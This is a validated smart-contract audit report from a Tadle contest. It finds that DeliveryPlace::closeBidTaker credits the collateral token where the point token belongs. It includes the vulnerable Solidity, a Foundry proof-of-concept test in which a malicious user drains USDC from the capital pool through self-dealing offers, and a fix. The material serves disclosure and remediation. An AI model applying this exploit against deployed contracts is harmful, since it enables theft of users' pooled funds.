Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Point Token Address in `DeliveryPlace::closeBidTaker` Function

Relevant Github Link

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L96

Summary

The function DeliveryPlace::closeBidTaker is designed to close a bid order, return the remaining collateral fee of the bid taker and distributed collateral from the ask maker due to failure in fully settlement, and distribute the settled points token. However, the function erroneously assigns the collateral token address instead of the points token address.

Vulnerability Details

In the function DeliveryPlace::closeBidTaker, the address of the collateral token is mistakenly used as the points token address. This issue occurs in the line where the points token balance is updated, as highlighted in the code snippet below.

function closeBidTaker(address _stock) external {
IPerMarkets perMarkets = tadleFactory.getPerMarkets();
ITokenManager tokenManager = tadleFactory.getTokenManager();
StockInfo memory stockInfo = perMarkets.getStockInfo(_stock);
if (stockInfo.preOffer == address(0x0)) {
revert InvalidStock();
}
if (stockInfo.stockType == StockType.Ask) {
revert InvalidStockType();
}
if (_msgSender() != stockInfo.authority) {
revert Errors.Unauthorized();
}
(
OfferInfo memory preOfferInfo,
MakerInfo memory makerInfo,
@> ,
) = getOfferInfo(stockInfo.preOffer);
OfferInfo memory offerInfo;
uint256 userRemainingPoints;
if (makerInfo.offerSettleType == OfferSettleType.Protected) {/
offerInfo = preOfferInfo;
userRemainingPoints = stockInfo.points;
} else {
offerInfo = perMarkets.getOfferInfo(makerInfo.originOffer);
if (stockInfo.offer == address(0x0)) {
userRemainingPoints = stockInfo.points;
} else {
OfferInfo memory listOfferInfo = perMarkets.getOfferInfo(
stockInfo.offer
);
userRemainingPoints =
listOfferInfo.points -
listOfferInfo.usedPoints;
}
}
if (userRemainingPoints == 0) {
revert InsufficientRemainingPoints();
}
if (offerInfo.offerStatus != OfferStatus.Settled) {
revert InvalidOfferStatus();
}
if (stockInfo.stockStatus != StockStatus.Initialized) {
revert InvalidStockStatus();
}
uint256 collateralFee;
if (offerInfo.usedPoints > offerInfo.settledPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
}
uint256 userCollateralFee = collateralFee.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
_msgSender(),
makerInfo.tokenAddress,
userCollateralFee
);
uint256 pointTokenAmount = offerInfo.settledPointTokenAmount.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
_msgSender(),
@> makerInfo.tokenAddress,
pointTokenAmount
);
perMarkets.updateStockStatus(_stock, StockStatus.Finished);
emit CloseBidTaker(
makerInfo.marketPlace,
offerInfo.maker,
_stock,
_msgSender(),
userCollateralFee,
pointTokenAmount
);
}

POC

copy and paste the code below to file PreMartkets.t.sol and run it.

function test_close_bid_taker() public{
vm.prank(user1);
//the owner update the marketplaceInfo
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp + 1,
3600
);
vm.startPrank(user);
//malicious user create 2 ask offer, one with extremely low price and one with normal price
preMarktes.createOffer(CreateOfferParams(
marketPlace,
address(mockUSDCToken),
2,
1,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
));
preMarktes.createOffer(CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
));
address stockAddr0 = GenerateAddress.generateStockAddress(0);
address offerAddr0 = GenerateAddress.generateOfferAddress(0);
address stockAddr1 = GenerateAddress.generateStockAddress(1);
address offerAddr1 = GenerateAddress.generateOfferAddress(1);
vm.stopPrank();
//the malicious user use another address to take the offer with extremely low price
vm.startPrank(user2);
// USDC balance before: 100000000000000000000000000
uint256 balanceBefore = mockUSDCToken.balanceOf(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr0, 2);
vm.stopPrank();
//the normal user take the offer with normal price
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr1, 1000);
vm.stopPrank();
// capital pool balance before: 22 350 000 000 000 003
uint256 capitalPoolBalanceBefore = mockUSDCToken.balanceOf(address(capitalPool));
vm.warp(block.timestamp + 2);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), type(uint256).max);
//malicious user settle the offer with extremely low price
deliveryPlace.settleAskMaker(offerAddr0, 2);
vm.stopPrank();
//point token balance of user2 Before closing the bid order : 100 000 000 000 000 000 000 000 000
uint256 pointTokenBalanceBefore = mockPointToken.balanceOf(user2);
address stockAddr2 = GenerateAddress.generateStockAddress(2);
vm.startPrank(user2);
capitalPool.approve(address(mockUSDCToken));
//malicious user close the bid order
deliveryPlace.closeBidTaker(stockAddr2);
//malicious user withdraw the collateral token
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
// point token balance After: 100 000 000 000 000 000 000 000 000
uint256 pointTokenBalanceAfter = mockPointToken.balanceOf(user2);
//USDC balance of user2 after closing the bid order: 100 000 000 019 999 999 999 999 999
uint256 balanceAfter = mockUSDCToken.balanceOf(user2);
// capital pool balance after: 2 350 000 000 000 003
uint256 capitalPoolBalanceAfter = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capital pool balance before: ", capitalPoolBalanceBefore);
console2.log("capital pool balance after: ", capitalPoolBalanceAfter);
console2.log("USDC balance before: ", balanceBefore);
console2.log("USDC balance after: ", balanceAfter);
console2.log("point token balance Before: ", pointTokenBalanceBefore);
console2.log("point token balance After: ", pointTokenBalanceAfter);
}

Impact

• Likelihood: High
This error will always result in the wrong token address being used when the function is executed.

• Impact: High
The collateral token is erroneously sent to the taker instead of the points token. As a result, takers who invoke this function earlier could receive more collateral tokens, and no points tokens, which may drain the collateral pool. Conversely, takers who invoke this function later might be unable to retrieve their collateral as earlier callers may have depleted the pool. If marketInfoPlace.tokenPerPoint is set higher than offerInfo.amount / offerInfo.points, the taker will receive more collateral tokens. Consequently, if the offer maker makes large amount of offer with low offerInfo.amount and uses another address to accept these offers, the maker can drain the collateral pool after invoking this function.

As shown in the POC, the original balance of USDC of user2 is 100 000 000 000 000 000 000 000 000 before taking the offer. And after DeliveryPlace:: closeBidTaker is called, the balance becomes 100 000 000 019 999 999 999 999 999. Only 1 wei of USDC token was sent to the protocol in the process.

Tools Used

Manual Review

Recommendations

(
OfferInfo memory preOfferInfo,
MakerInfo memory makerInfo,
++ MarketInfo memory marketInfo,
) = getOfferInfo(stockInfo.preOffer);
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
_msgSender(),
++ marketInfo.tokenAddress,
-- makerInfo.tokenAddress,
pointTokenAmount
);
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.